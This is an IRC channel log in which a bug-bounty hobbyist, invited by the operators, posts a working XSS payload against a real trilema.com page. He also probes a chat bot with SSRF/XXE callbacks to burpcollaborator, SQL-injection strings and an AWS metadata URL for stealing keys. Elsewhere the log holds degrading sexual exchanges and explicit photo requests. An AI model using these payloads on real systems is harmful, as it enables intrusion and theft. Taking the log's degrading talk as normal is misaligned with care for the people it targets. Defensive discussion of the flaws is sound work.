Show Idle (>14 d.) Chans
← 2018-01-25 | 2018-01-27 → ↓
00:04 mircea_popescu meanwhile in girls alf won't like, http://78.media.tumblr.com/33cb28925c37b2cd04d9ff82a675d37d/tumblr_nh7rhnlD9v1qd7u7zo1_1280.jpg
↖
00:04 mod6 both vdiffs fail on this.
00:06 mod6 and it goes back to the same thing as with diana_coman. having two '++' at the front of the line. the way the vdiff is written, when it passes the diffed file off to awk to pattern match the ---|+++ it adds that '+' in the front, then it matches, causing it to call sha512sum.. which is where the false comes from. I think.
↖
00:06 mircea_popescu i expect.
00:09 mod6 http://p.bvulpes.com/pastes/MSMop/?raw=true
~ 1 hours ~
01:09 deedbot http://www.contravex.com/2018/01/26/the-g-word/ << Contravex: A blog by Pete Dushenski - The G-word.
~ 24 minutes ~
01:34 douchebag I managed to find two vulnerabilities in Yahoo last night, I highly suggest their bug bounty program for anyone who is interested in doing that sort of stuff.
01:35 mircea_popescu how much do two vulnerabilities in yahoo pay ?
01:36 douchebag Well, I still have to wait until they patch them before they reward the bounty. They pay based on likelyhood/impact, now a friend of mine reported a vulnerability less serious than the one I found and he was rewarded $2,000 total
01:37 douchebag The other one I discovered, I would say probably somewhere between $200-$500
01:37 douchebag However, even though I have to wait until they patch the bugs I found before they reward me, they did reward me $150 on triage and will be rewarding the rest at a later date
01:38 douchebag You can read his blog here: http://www.sxcurity.pro/
01:39 mod6 i suppose we should be looking for: (--- |\+\+\+ ) instead of (---|\+\+\+)
01:39 mircea_popescu hey, almost better than tits.
01:39 mircea_popescu mod6 YES!
01:39 mircea_popescu i kept sayin' this!
01:41 douchebag A relatively well known bug bounty hunter I know has made $40k this month off of bug bounties, his goal is $50k for January
01:42 mircea_popescu this is like re-reading old shoemoney drivel about google adsense successes. goals and whatnot.
01:44 douchebag Haha, you do have to admit for the average person $40k in a little over 3 weeks is pretty damn good.
01:45 mircea_popescu i certainly admit.
01:45 mircea_popescu but you're not discussing an average person, you're discussing a selected person.
01:45 mircea_popescu i know a girl that made $30 million with her ass ; and you must admit that for the average girl's ass this is indeed generous.
01:45 mircea_popescu but her ass is not actually all that average.
01:45 douchebag Oh yes, that's very true. However, I do know quite a few people who have been very successful with it
01:46 mircea_popescu i know quite a few people whose iq is over 150. the internet is good at collecting similar things. sadly -- this does little for the intelligence of the race in general.
01:47 douchebag Very true
01:50 douchebag I suppose the point I'm trying to get across is that there is a pretty good community involved with bug bounties, I especially like the classic hacker additude of most of the people in the sense that they're all working together to learn more
01:51 douchebag And how most people are more than willing to share the information they acquire through blogs and whatnot
02:01 douchebag mircea_popescu: Who runs bpvulpes.com?
02:02 douchebag <
02:04 trinque surely you can sleuth that one out.
02:04 douchebag Ohh lol I'm retarded
02:05 douchebag ben_vulpes: I found a vulnerability in your site, how would you like me to disclose it to you?
02:07 douchebag It's not a major issue and an easy fix, however it could potentially allow someone to create fake logs
02:08 trinque guy's probably away for the night. why don't you drop him a gpggram on his paste site, link him to it here
02:08 douchebag Forsure
02:09 trinque !!key ben_vulpes
02:09 deedbot http://wot.deedbot.org/4F7907942CA8B89B01E25A762AFA1A9FD2D031DA.asc
02:09 douchebag Are there any sites any of you guys would like me to check out? I'm a bit bored right now and I am always up for a challenge :-)
↖
02:10 trinque might help you more to do that reading I was talking about, and get a v-tron set up.
02:10 * trinque off for the night as well
02:15 douchebag ben_vulpes: http://p.bvulpes.com/pastes/VGhcp/?raw=true
~ 19 minutes ~
02:35 mircea_popescu douchebag ben_vulpes
02:36 douchebag Mhmmm I already got it, thanks anyway though
02:36 mircea_popescu :p
02:37 douchebag mircea_popescu: any sites you want me to take a look at really quick?
02:38 mircea_popescu wp-mp, basically, like last time.
02:39 douchebag To make my job a little bit easier, could you tell me a little bit about mp-wp and how it differs from Wordpress?
02:39 mircea_popescu http://btcbase.org/log/2018-01-23#1774733 <
02:39 a111 Logged on 2018-01-23 07:11 mircea_popescu: actually, hanbot is about to genesis mp-wp, you're more than welcome to help down with the paring down effort of that, if you want. mostly php.
02:39 mircea_popescu it's a fork off 2.7 wp trunk iirc.
02:41 mircea_popescu hanbot just published an unofficial genesis, so you can just fire up your v and press that
02:43 douchebag Where can I find a copy of the source?
02:45 mircea_popescu http://btcbase.org/log/2018-01-25#1775994
02:45 a111 Logged on 2018-01-25 06:00 hanbot: http://btcbase.org/log/2018-01-25#1775981 >> can grab http://thewhet.net/testickle/mp-wp_genesis.vpatch & http://thewhet.net/testickle/mp-wp_genesis.vpatch.hanbot.sig ; pubkey's on about page if you need it.
02:54 douchebag mic
02:55 douchebag mircea_popescu: I have discovered a vulnerability :-)
02:55 douchebag How would you like me to disclose this?
~ 30 minutes ~
03:26 mircea_popescu by saying what it is lel
03:28 douchebag Cross Site Scripting
03:28 mircea_popescu but be specific
03:28 douchebag Is it alright if I link you to a PoC of the vulnerability?
03:28 mircea_popescu sure.
03:29 douchebag Alright one moment
03:29 douchebag http://trilema.com/mp_fabulous_hashonator.php?m=%3Csvg/onload=alert`XSS`%3E
03:30 mircea_popescu does that actually do something ?
03:30 douchebag I was able to execute arbitrary Javascript on your site
03:31 mircea_popescu all i see is https://archive.is/Kbau3
03:31 douchebag XSS can be used to steal cookies of logged in users which can then be used to jack their session.
03:31 mircea_popescu but you can't log into trilema.
03:32 douchebag So there is never a session stored on the site?
03:32 mircea_popescu not afaik ; moreover, does an alert box actually pop up for you ?
03:33 douchebag Yes
03:33 mircea_popescu odd, neither archive bot not this testbox firefox i have do it.
03:34 douchebag http://trilema.com/mp_fabulous_hashonator.php?m=%3Ch1%20style=%22color:%20red%22%3E
03:34 douchebag Go there
03:34 douchebag You'll see arbitrary html was added to the page
03:34 mircea_popescu http://browsershots.org/http://trilema.com/mp_fabulous_hashonator.php?m=%3Csvg/onload=alert%60XSS%60%3E << lulzty enough.
03:35 mircea_popescu douchebag was this actually in mp-wp ?!
03:36 mircea_popescu this is hysterical, apparently it works in newer (3x, 4x firefox) but not in older (2x say).
03:36 douchebag It might be, I'm not sure at the moment if this was added with mp-wp or if it was uploaded to trilema.com's webhost a later date
03:36 douchebag Oh yeah, javscript is great isn't it?
03:36 mircea_popescu notreally.
03:37 douchebag lol I was being sarcastic
03:38 mircea_popescu anyway, i suppose "the message chosen was $" is just bad webcoding on my part.
03:38 * mircea_popescu has ~0 experience with this, an' i guess it shows.
03:39 douchebag Don't feel bad, XSS is one of the most common vulnerabilities that exists on the majority of websites
03:39 mircea_popescu but this browsershots set is a comedy goldmine! apparently a good third of the failful firefox browsers ALSO are getting an "uptades" blabla popup
03:40 douchebag lol
03:44 douchebag hmm i wonder
03:44 douchebag <script>alert`OHAI`</script>
↖
03:45 douchebag I wonder if any of the logs will pop an alert
03:47 mircea_popescu apparently not
03:51 douchebag mircea_popescu: So the bots in this channel for instance the one that will add your GPG key from a url you provide
03:51 mircea_popescu aha
03:51 douchebag That actually can hold quite the potential of a vulnerability
03:51 douchebag If it
03:52 douchebag If it's returning page responses in any way, it could be used to access internal network addresses
03:52 mircea_popescu go ahead and try it
03:52 douchebag What are the commands that have that sort of functionality?
03:52 mircea_popescu !!register ?
03:52 deedbot 6160E1CAC8A3C52966FD76998A736F0E2FB7B452 is already registered as mircea_popescu.
03:52 douchebag !!help
03:52 deedbot http://deedbot.org/help.html
03:53 douchebag ooh I have an idea
03:53 douchebag 1sec
03:54 douchebag !!subscribe https://my.mixtape.moe/kcoilr.xml
03:54 deedbot douchebag subscription to https://my.mixtape.moe/kcoilr.xml failed
03:55 douchebag !!subscribe https://my.mixtape.moe/spofpo.xml
03:55 deedbot douchebag subscription to https://my.mixtape.moe/spofpo.xml failed
03:56 douchebag !!subscribe http://c6jqm84m3hami0jwzts22crxmosgg5.burpcollaborator.net
03:56 deedbot douchebag subscription to http://c6jqm84m3hami0jwzts22crxmosgg5.burpcollaborator.net failed
03:57 mircea_popescu you probably need a rss feed
03:59 douchebag Well, since RSS is in XML format I was testing a popular vulnerability that occurs in XML parsers which uses external entities, allowing an attacker to exfiltrate data
↖
03:59 mircea_popescu not a bad idea.
04:00 douchebag !!deed darrq98n7ienm1nx3uw36dvyqpwik7.burpcollaborator.net
04:00 deedbot Bad URL or network outage.
04:00 douchebag !!deed http://darrq98n7ienm1nx3uw36dvyqpwik7.burpcollaborator.net
04:00 deedbot Bad URL or network outage.
04:00 mircea_popescu douchebag it has to be signed
04:01 douchebag Ah
04:01 douchebag !!deed gopher://darrq98n7ienm1nx3uw36dvyqpwik7.burpcollaborator.net:80/_TEST
04:01 deedbot Bad URL or network outage.
04:01 douchebag That would have been cool if it worked
04:09 douchebag Honestly, I bet a lot of boxes could be popped just from messing around with IRC bots lol
04:09 mircea_popescu you think ?
04:10 douchebag oh definitely
04:10 mircea_popescu well... go for it.
04:11 douchebag Here's a fun fact,
04:11 douchebag http://169.254.169.254/latest/meta-data/
04:11 douchebag IF I were able to find a bot that essentially returned the content of that URL and it was hosted on Amazon AWS
04:12 douchebag I could grab the AWS Instances API keys lol
04:12 douchebag https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
04:13 douchebag It's the simple things like that which can do that most damage
04:16 mircea_popescu interesting.
04:16 douchebag Hmm, I wonder
04:16 douchebag !! key ' or '1'='1
04:16 douchebag !!key ' or '1'='1
04:17 douchebag !!key douchebag
04:17 deedbot http://wot.deedbot.org/5A067BA31976B2576818247075CD5709D6509291.asc
04:17 douchebag !!key douchebag'
04:17 deedbot Not registered.
04:17 douchebag !!key douchebag 1
04:17 douchebag !!key douchebag|sleep(10)
04:17 deedbot Not registered.
04:17 douchebag !!key douchebag'|sleep(10)
04:17 deedbot Not registered.
04:17 douchebag !!key douchebag"|sleep(10)
04:17 deedbot Not registered.
04:18 mircea_popescu douchebag you can also do it in pm
04:18 douchebag oh okay
04:25 mircea_popescu !!up emmylark
04:25 deedbot emmylark voiced for 30 minutes.
04:25 mircea_popescu say hello to the group, slut.
04:25 emmylark Hello sirs
04:25 emmylark *and madames. don't wanna discriminate
04:26 mircea_popescu hehe
04:26 mircea_popescu emmylark so write 4b57ff75 on your tits ; and get your slit in the shot as well.
04:38 emmylark http://p.bvulpes.com/pastes/X7SkS/?raw=true
04:39 mircea_popescu aww, for me ?!
04:39 mircea_popescu aite lessee here...
04:41 emmylark http://p.bvulpes.com/pastes/exv9a/?raw=true
04:42 mircea_popescu emmylark congrats, you're now famous!
04:42 douchebag Hell yeah
04:42 mircea_popescu tell me... how does it feel... to be all nude... like a hm... like a rolling stone.
04:42 douchebag congratz on being famous
04:43 emmylark How did I do sir? Was it acceptable? I sent a second one just in case the first wasnt enough. I thought it might be nice to get to choose
04:43 mircea_popescu quite acceptable, yes.
04:44 mircea_popescu now put your public key in a paste and say !!register url
04:45 mircea_popescu emmylark it's very nice to get to choose ; i choose to keep the second for my private collection of smutty selfies.
04:49 emmylark !!register urlhttp://p.bvulpes.com/pastes/U1Xh4/?raw=true
04:49 deedbot Provide a paste URL to the ascii-armored GPG public key or the full 40 character key fingerprint without spaces or dashes.
04:49 mircea_popescu emmylark !!register http://p.bvulpes.com/pastes/U1Xh4/?raw=true
04:50 emmylark !!register http://p.bvulpes.com/pastes/U1Xh4/?raw=true
04:50 deedbot 3BC472963B76AEE0448C19F414DEC3397D761EA4 registered as emmylark.
04:50 emmylark Fuck yeah!
04:50 mircea_popescu emmylark did you ever register your name with freenode ?
04:51 mircea_popescu say /msg nickserv register your_password your_email_address ; use a good password and an email you actually can read, they'll send you a verification thing. this way someone else can't steal your name.
04:52 emmylark I'm talking to you through the Freenode server in my IRC client. It made me register a name and email.
04:52 mircea_popescu !!rate emmylark 1 Slutty pixie bearing my protection collar.
04:52 deedbot Get your OTP: http://p.bvulpes.com/pastes/oK6cP/?raw=true
04:52 mircea_popescu !!pay emmylark 0.02
04:52 deedbot Get your OTP: http://p.bvulpes.com/pastes/sU3kd/?raw=true
04:52 mircea_popescu emmylark congrats on earning your first coupla bitcents!
04:53 emmylark Wait are you serious? I did that for you sir.
04:53 mircea_popescu i know.
04:55 douchebag Will hack 4 BTC :-D
04:55 mircea_popescu !!up emmylark
04:55 deedbot emmylark voiced for 30 minutes.
04:56 mircea_popescu i rated you, so now the bot will allow you to voice yourself. say /query deedbot and then !!up ; it will give you a thing to decrypt, give the result back to it as !!v <string>
05:01 mircea_popescu win.
~ 23 minutes ~
05:24 douchebag I just learned about AngularJS XSS attacks
05:24 douchebag Pretty interesting stuff
~ 2 hours 16 minutes ~
07:41 shinohai !~ticker --market all
07:41 jhvh1 shinohai: Bitstamp BTCUSD last: 10531.07, vol: 14129.46495924 | Bitfinex BTCUSD last: 10527.0, vol: 49688.74405499 | Kraken BTCUSD last: 10538.0, vol: 6394.72947932 | Volume-weighted last average: 10528.8208745
07:49 shinohai Morning tmsr
~ 1 hours 57 minutes ~
09:47 mod6 mornin'
09:59 shinohai Heya mod6
~ 23 minutes ~
10:22 mod6 how goes?
10:28 asciilifeform meanwhile, in heathendom, https://archive.is/rTmuG >> 'The first freight deal settled in Bitcoin was executed last month on a vessel carrying wheat from top shipper Russia to Turkey, according to Prime Shipping Foundation, the venture behind the transaction. ... The vessel used in Prime Shipping’s transaction carried 3,000 metric tons of wheat from Rostov-on-Don to Samsun. '
~ 15 minutes ~
10:43 BingoBoingo Awe, shit can only go up from wheat
~ 16 minutes ~
10:59 mircea_popescu but i thought they already had a perfect medium of exchange called the unified standard dosidoe!
11:00 mod6 :D
11:00 mircea_popescu spyked all in.
↖
11:03 mircea_popescu ah, yeah. http://trilema.com/2014/ill-pay-for-your-tits/#selection-309.2-309.31 in case anyone's missed it.
11:03 asciilifeform neato
11:03 mircea_popescu wait, you like blue eyed girls now ?!
11:04 asciilifeform for so long as upside down!111
11:04 mircea_popescu lmao
11:04 mircea_popescu in her case, that's the up side.
11:04 shinohai Nice!
11:05 * asciilifeform must admit that the http://btcbase.org/log/2018-01-26#1776811 thread reminds him of http://btcbase.org/log/2016-05-01#1460013
11:05 a111 Logged on 2018-01-26 08:59 douchebag: Well, since RSS is in XML format I was testing a popular vulnerability that occurs in XML parsers which uses external entities, allowing an attacker to exfiltrate data
11:05 a111 Logged on 2016-05-01 14:53 mircea_popescu: asciilifeform> mod6: the baked-in presumption of webtardism is almost insulting << it is insulting, not to us though. think about it : the crab has pincers because in its environment THAT WORKS ; and so does "GET /blog/blog-config.php~".
11:05 mircea_popescu hey, he did find a trilema vulnerability...
11:07 lobbes http://btcbase.org/log/2018-01-26#1776736 << you really should do the homework trinque pointed you to, but if you are done with that and bored again, plox to look at logs.minigame.bz, lobbesblog.com and lobbesbot? I'm a meganoob so you may find something. I've no shame, so disclose whatever you can find here. I'll toss a handful of satoshis your way if you do (and a wot rating)
11:07 a111 Logged on 2018-01-26 07:09 douchebag: Are there any sites any of you guys would like me to check out? I'm a bit bored right now and I am always up for a challenge :-)
11:10 lobbes Most of the 'dynamic' bits of the www are php+sqlite3. lobbesbot is limnoria (fork of supybot, a common python bot api), also atop sqlite3
11:12 * trinque appreciates the deedbot fuzzing. pretty damned sure all my inputs are quoted though.
11:14 mircea_popescu indeed, but being surer never hurt anything.
11:14 trinque naw, fuzz away
11:15 mircea_popescu in fairness, kid's got me meditating about the nature of things ever since last night. see, the trouble is : in his syustem, he has actually found a vulnerability, as a factual matter. in my system this is entirely meaningless. why the difference ?
↖
11:15 mircea_popescu i suppose i should rate him.
11:15 mircea_popescu !!rated douchebag
11:15 deedbot mircea_popescu rated douchebag 1 at 2018/01/15 07:34:46 << hyde.solutions
11:15 mircea_popescu ah, already did. go me.
11:23 mircea_popescu and in other news, http://www.gutenberg.org/files/3178/3178-h/3178-h.htm << pretty decent yarn, mark twain's forgotten novel.
↖
11:26 asciilifeform oblig re quotation of inputs -- http://btcbase.org/log/2015-08-13#1237281
11:26 a111 Logged on 2015-08-13 19:00 phf: mats: well, i actually meant the opposite. classes of attacks can be eliminated by not using c. i think that majority of the attacks come from leaky abstractions. there's no <string> in c, but there's a null terminated memory region. there's no <sql> in perl, but there's a character array with sql text in it. one of the solutions is to plug abstraction holes on a level of the language, in such a way that you can't not use improved abstractions
11:27 mircea_popescu asciilifeform there's two fundamental items i can readily identify, maybe more. 1. i actually did plop an echo $_GET in there. is this just bad coding ? is it a legitimate assumption ? 2. he has a point, as long as it's on trilema.com, a script has powers OUTSIDE of its implicit scope, "steal cookies" whatever. is this ~actually~ bad systems design ?
11:29 mircea_popescu obviously quoted link's right ; other than the attacks croming from nsa ("enemy" aka idiot with vested interest in idiocy), they ALL come from leaky abstractions. both points above qualify.
11:29 asciilifeform mircea_popescu: do you recall the case of http://btcbase.org/log/2016-08-01#1512390 ?
11:29 a111 Logged on 2016-08-01 19:48 asciilifeform: oh for fuckssake.
11:29 mircea_popescu i do.
11:29 asciilifeform https://archive.is/PSU53 << ftr
11:31 asciilifeform the other way to think of it, is that for so long as you have a box that eats rubbish from randos, you have a mechanism for folx to host shitware to use against firefox-besotted js victims etc
11:31 asciilifeform whether this matters -- is separate q
11:31 mircea_popescu is this right ?
11:33 mircea_popescu consider the celebrated lulz of (most recently) http://btcbase.org/log/2017-11-06#1733263 : none of those curls are sanitized. yet http://btcbase.org/log/2018-01-16#1771208 right ?
11:33 a111 Logged on 2017-11-06 19:27 deedbot: http://trilema.com/2017/how-the-beastforumcom-private-messaging-function-became-a-paid-user-only-item/ << Trilema - How the beastforum.com private messaging function became a paid-user-only item
11:33 a111 Logged on 2018-01-16 17:08 mircea_popescu: (also, let it be pointed out for the benefit of the future noob : the use of xargs with shit from curl is dancing with the wolves. finest way to lose a box.)
11:33 asciilifeform let's picture the general case. the pgpkey xss thing did not 'fire' against phuctor viewers, because quoted. but did against wotpaste reader ( with 0 practical effect , but for the principle of the thing )
11:33 mircea_popescu well which the fuck is it, and don't tell me "why mp! perl=bash=php=crap", it's not the point.
11:34 asciilifeform but conceivably one day there will be an idjit browser that gives obama root on yer box when it sees string 'open sesame'. and what, errybody gotta know in advance to escape 'open sesame', lol ?
↖ ↖
11:34 mircea_popescu RIGHT ?
11:34 asciilifeform the fundamental q is whether there is a diff b/w 'enabled js' and 'enabled opensesamism'
11:34 mircea_popescu if i'm responsible for the above why am i not responsible for sending emmylark nude on a harley to luser's house to tear out intel ME out of his chip ?
11:34 asciilifeform that's the idea.
11:35 mircea_popescu as i said, sent me meditating on nature of things
11:35 mircea_popescu but the "you enabled js, you're dead" position is untenable -- i use js for the selection thing. and i fucking need it
11:35 asciilifeform it isn't , as it happens, particularly difficult to neuter js in pasteolade. but that's separate , imho, matter.
11:35 mircea_popescu without the ability to link INSIDE my output $value would decrease sensibly. not a little. a lot.
11:35 asciilifeform no i get.
11:36 asciilifeform i use the feature also.
11:36 mircea_popescu i honestly believe it's as big as the concept of link.
11:36 asciilifeform it's a poor man's tednelsonlink
11:36 mircea_popescu this triad : links, pingbacks, selection reference make up a whole NEW hypertext. just as far from the old as that was from text.
11:37 mircea_popescu asciilifeform half of one, yes. needs the pingback to be full.
11:37 asciilifeform well, ~wants~ to 'make new hypertext', really it's a sad emulation. but considerable improvement over nothingatall
11:37 mircea_popescu i guess so, at that.
11:38 mircea_popescu "poc" right.
11:39 asciilifeform the interesting thing re js, is that entirely ~aside~ from traditional cmachine bugolade, it gets compiled c-cstyle nowadays, in popular graphical wwwbrowsers, ( how else to churn 50MB of google crapola ) and so e.g. rowhammerism works in it.
11:39 mircea_popescu oya.
11:39 mircea_popescu note the epic lulz of how the "vulnerability" doesn't even work until you gert to ff version 30.
11:39 mircea_popescu there's a pile of browser captures linked in there yest.
11:39 asciilifeform the xss thing ? aha
11:40 mircea_popescu (because they didn't parse svg tags prior, not because "it doesn't work", he could have made it to work with plain script, so it's a separate issue, but quite germane)
11:42 mircea_popescu imo a fabulous textbook example of how the imperial vulnerability cycle goes. 1. make a bad spec, a la SMGL ; 2. implement some portions of it only, because http://btcbase.org/log/2018-01-25#1776189 ; 3. discover the bad spec is vulnerable, issue "best practices" for people to "santize". obviously this will not be made by 1 if 2 wasn't, so... 4) implement slightly more of the spec, throw security in disarray.
11:42 a111 Logged on 2018-01-25 16:42 asciilifeform: i dun actually disagree with mircea_popescu : i never liked bigendianism . but it did come from a particular cost analysis , ftr.
11:42 mircea_popescu this is EXACTLY how it goes, and perhaps why there has not yet existed such a thing as a fully implemented specification or a fully specified implementation in empire lands.
11:43 asciilifeform the philosophical puzzler of 'what is a vuln' probably cannot be answered from strictly 1side pov. consider the ultimate degenerate case, microshit, who produces more vulns every day than mircea_popescu spermatozoids , but not 1 of them dings it in any substantial way ( and many in fact are a profit )
11:43 mircea_popescu are you implying my sperm count is low ?
11:43 asciilifeform lol
11:43 mircea_popescu lol
11:44 mircea_popescu hey, i was looking for a pretext to get a test, so bbs.
11:45 asciilifeform and the 'bad spec' thing is part of multilayered shit sandwich, the general principle is that complexicrud accretes; the overflows, etc. follow naturally ( with helping hand from kochs, dreppers, et al as necessary )
11:46 asciilifeform mircea_popescu: lo, aaaah, but where will you get a microshit bugcount. the stars in the sky themselves not sufficient to count !11!
11:50 asciilifeform re specs, whole thread ( e.g. http://btcbase.org/log/2016-08-01#1512423 ) re pgpkey worth a reread.
11:50 a111 Logged on 2016-08-01 20:03 phf: mircea_popescu: a lot of xss detection "solutions" rely on grepping for known bad input, like "script" or whatever. and there are ways to sidestep that, like '<scr' + 'ipt>' or a='ipt>';'<scr'+a. in this case whoever is fucking with detection by using this truly wtf feature i've never heard of, <meta charset="a">b</meta> that apparently parses b according to charset a rules
11:58 mircea_popescu asciilifeform slavegirl tasted, says my sperm count's fine (and delicious). so NYAH!
11:58 asciilifeform congrats
11:58 mircea_popescu i suppose on contemplation the http://btcbase.org/log/2018-01-25#1776155 would be to fucking sign javascript and you know "hey, we've had v for a while, get with the program. why are you running unsigned nonsense".
11:58 a111 Logged on 2018-01-25 16:29 mircea_popescu: wait wait, i might have a pill
11:59 mircea_popescu i guess ima actually do just that.
11:59 asciilifeform gonna luvv the multi-second pageloads
11:59 asciilifeform or wouldja cache it, or how
12:00 mircea_popescu what's js comment style, # ?
12:00 asciilifeform iirc c-style /* */
12:00 asciilifeform but what'll that do if browser dun check the sig
12:00 deedbot http://www.thedrinkingrecord.com/2018/01/26/la-desfile-de-inaugural-de-carnival/ << Bingo Blog - La Desfile De Inaugural De Carnival
12:01 asciilifeform mircea_popescu: this is one of those items that really wants the rsa fpga
12:03 mircea_popescu /
12:03 mircea_popescu // motherfucker who comes up with this shit
12:04 * asciilifeform waits for mircea_popescu to scream in 'joy' when he finds that not 1 attempt at any such pgpsig verifies, on account of newline mutilation in www stack
12:05 mircea_popescu !!deed http://p.bvulpes.com/pastes/iSV8M/?raw=true
12:06 deedbot accepted: 1
12:06 mircea_popescu asciilifeform i didn't expect it'd work mechanically ; but there it is now.
12:06 mircea_popescu in the future, it can be mecanicized.
12:06 asciilifeform aa i see
12:07 mircea_popescu i suppose the workings of this insane nut posse must be quite disconcerting to the professional. "i told this guy he had an xss hole in some file and he proceeded to sign an unrelated snippet of javascript".
12:07 asciilifeform a flounder in epoxy , then.
12:07 mircea_popescu but, take heart douchebag : there's not that many people your age that can say "hey, i sent mp to meditation room" ; and they're overwhelmingly female to boot.
12:08 mircea_popescu asciilifeform admire the recursive gift : his "reputation in the community" doth indeed grow. what now.
12:08 asciilifeform why is this a whatnow
12:08 asciilifeform for any of us, i mean
12:09 mircea_popescu well... didn't the problem appear misstated originally ?
12:09 asciilifeform how's that? i dungetit
12:10 mircea_popescu hm.
12:10 mircea_popescu http://btcbase.org/log/2018-01-23#1774915 << say.
12:10 a111 Logged on 2018-01-23 19:52 phf: i can see the education angle, and how it fails these people, but what i'm surprised about is the lack of personal drive? it's some kind of learned helplessness
12:12 asciilifeform sticking to wwwtardism stack is not a manifestation of learnedhelplessness ?
12:12 mircea_popescu not if it works to deliver the results above ?
↖
12:12 asciilifeform i dun see a megaresult.
12:13 mircea_popescu in entirely unrelated lulz : i recommend to the expert entomologist item #341 of the assembly of the state of new york, entered into record april 12, 1838 (a message from W L Marcy, the governor).
12:13 asciilifeform got text ? or does one have to go to nyc and break into a museum to get it
12:15 mircea_popescu at issue is the resumption of a redeemable currency in fact, through payments in specie, supported by new york alone and firmly opposed by our good friends in http://trilema.com/2018/the-principal-agent-problem-or-how-america-went-away/#footnote_9_77193 (ie, 2nd national bank and the wide array of western and southern banks dependent upon it. because guess who brought you slavery in the sense of financing it ? oh yeah, the re
12:15 mircea_popescu formists!)
12:15 mircea_popescu asciilifeform i got a hardbound copy. shall i have it transcribed ?
12:15 phf !!key hanbot
12:15 deedbot http://wot.deedbot.org/EA0FAD90985B3025576A5061454B0FC0BC07B87E.asc
12:15 asciilifeform mircea_popescu: or even photo, if it's reasonably compact
12:16 asciilifeform ( and lol, this has gotta be the 1st time i hear mircea_popescu refer to a hardcopy of sumthing..? )
↖
12:16 mircea_popescu not the first, but yes, rare.
12:18 mircea_popescu ah, check it out, google has it. one moment.
12:18 ben_vulpes douchebag: how does this allow a user to create fake logs?
12:21 asciilifeform !~later tell mod6 http://btcbase.org/log/2018-01-26#1776700 seems to be ye olde http://btcbase.org/log/2016-12-11#1581504 inbandism crapola
12:21 a111 Logged on 2018-01-26 05:06 mod6: and it goes back to the same thing as with diana_coman. having two '++' at the front of the line. the way the vdiff is written, when it passes the diffed file off to awk to pattern match the ---|+++ it adds that '+' in the front, then it matches, causing it to call sha512sum.. which is where the false comes from. I think.
12:21 a111 Logged on 2016-12-11 20:15 mircea_popescu: +++7F0QaZAgBgF3/7448/fmnc/DnT29zJipI3ZCWnifqyfJH6/nRzUt7979al5JtwrACPLNjDb5Pc false <<< ahahaha epic!
12:21 jhvh1 asciilifeform: The operation succeeded.
12:24 mircea_popescu it is.
12:27 asciilifeform hey mircea_popescu : asciilifeform sat down and tried to make a 'and i'll give you a 1btc prize' puzzler for douchebag re 'break pehbot' . but how to phrase the condition of said puzzle, i am still at a loss, burned half hour nearly.
12:27 asciilifeform specifically such that puzzler specifically rewards the breaking of the proggy, rather than the condition.
12:27 asciilifeform or is this a perpetuum mobile.
12:30 mircea_popescu i suspect this is what we are gazing upon in amazement : that slavegirl must ~love~, ie that there is no mechanical solution to the problem.
12:30 asciilifeform thought so.
12:32 * asciilifeform brb
12:35 asciilifeform mircea_popescu: entirely troo, there are no mechanical prostheses for love, loyalty, honour. the ancients -- knew this.
12:35 mircea_popescu !#s flirty fishing
12:35 a111 0 results for "flirty fishing", http://btcbase.org/log-search?q=flirty%20fishing
12:36 mircea_popescu in vaguely related lulz : there existed a cult which had the girls prostitute themselves for membership. (apparently it was tried with boys too, but it didn't pay.) eventually they just listed them as proper whores with "escort agencies". apparently a total of >quarter million men were made to feel religious however briefly during a decade.
12:37 mircea_popescu IN THE SEVENTIES.
12:37 BingoBoingo AHA, the Family!
12:37 mircea_popescu "Children of god" / aka varous
12:37 asciilifeform i thought this was sop for meatcults
12:37 mircea_popescu notrly afaik
12:37 asciilifeform hm. gotta wonder then, wainot
12:38 mircea_popescu because usually cults are build around a paranoid not a narcisiac
12:38 mircea_popescu wants to fuck them himself, and what he can't fuck he kills.
12:39 asciilifeform subj lit is so laden with desinfo that asciilifeform has genuinely nfi
12:40 asciilifeform ( enemy has a very good idea of the efficacy of the mircea_popescu form of harem org , and tries to burn it down wherever and however the chance presents itself )
12:41 asciilifeform recall few yrs back during 1st obummer term, for instance, when they set to work on the remaining ortho-mormons
12:42 mod6 the warren jefferies thing?
12:43 mircea_popescu i dunno that any of those has anything to do with my harem tbh.
12:45 asciilifeform mircea_popescu: only in so much as the mosquitoes in my backyard have to do with your skin
12:45 douchebag 1BTC reward? I'm up for that challenge any day
↖ ↖
12:45 mircea_popescu well, no, i mean something like "just because it has cogs in it doesn't mean it's a clock, could be a car transmission"
12:46 asciilifeform mircea_popescu: to carry the analogy, luddite dun care whether clock or orrery, thinks 'gears'
12:46 ben_vulpes douchebag: how does what you found get leveraged into 'fake irc logs'?
12:46 mircea_popescu asciilifeform http://trilema.com/wp-content/uploads/2018/01/Documents_of_the_Assembly_of_the_State_of_New_York_1838.pdf
12:46 asciilifeform mircea_popescu: eggog
12:46 mircea_popescu and yes ; but that doesn't make the luddite right in any meaningful sense
12:46 douchebag Able to inject Javascript, such javascript could be used to create a link that leads to logs that appear real, however they're completely fake
12:47 mircea_popescu asciilifeform hmm, spermissions ? lemme see.
12:47 douchebag Basically, the javascript could be used to remove the logs that exist (on the client side mind you), and add in logs that are fake
12:47 douchebag It would all be within the url
12:48 ben_vulpes douchebag: so someone sends someone else a link with ?q=<script="diddledepageforme">, and unsuspecting b copies, pastes, reads everything but the url bar?
12:48 douchebag It could be URL encoded, so they wouldn't really be able to read anything
12:48 douchebag So yeah, people who know what the typical url format is would likely know right away that something is up
12:49 * ben_vulpes is reminded of the doctorow pulp, "human readable"
12:49 asciilifeform mircea_popescu: loads nao
12:49 mircea_popescu cool.
12:50 mircea_popescu ben_vulpes could just put it in an "url shortener"
12:50 mircea_popescu dork reads it off mobile or w/e.
12:50 mircea_popescu the whole issue of http://btcbase.org/log/2018-01-26#1776941 is FAR REACHING.
12:50 a111 Logged on 2018-01-26 16:34 asciilifeform: but conceivably one day there will be an idjit browser that gives obama root on yer box when it sees string 'open sesame'. and what, errybody gotta know in advance to escape 'open sesame', lol ?
12:50 asciilifeform mircea_popescu: that wouldn't run js in the log page tho
12:51 ben_vulpes oh i get it
12:51 douchebag yes it would
12:51 asciilifeform douchebag: with urlshortener ?!
12:51 douchebag url -> url w/ js added in vuln parameter
12:51 douchebag -> user
12:51 asciilifeform no i get how original worx
12:51 asciilifeform but in re mircea_popescu's variant
12:53 douchebag i gotta run, be back in about 30 mins
12:58 phf http://btcbase.org/log/2018-01-26#1776698 << if alf don't wan em, i'll take em
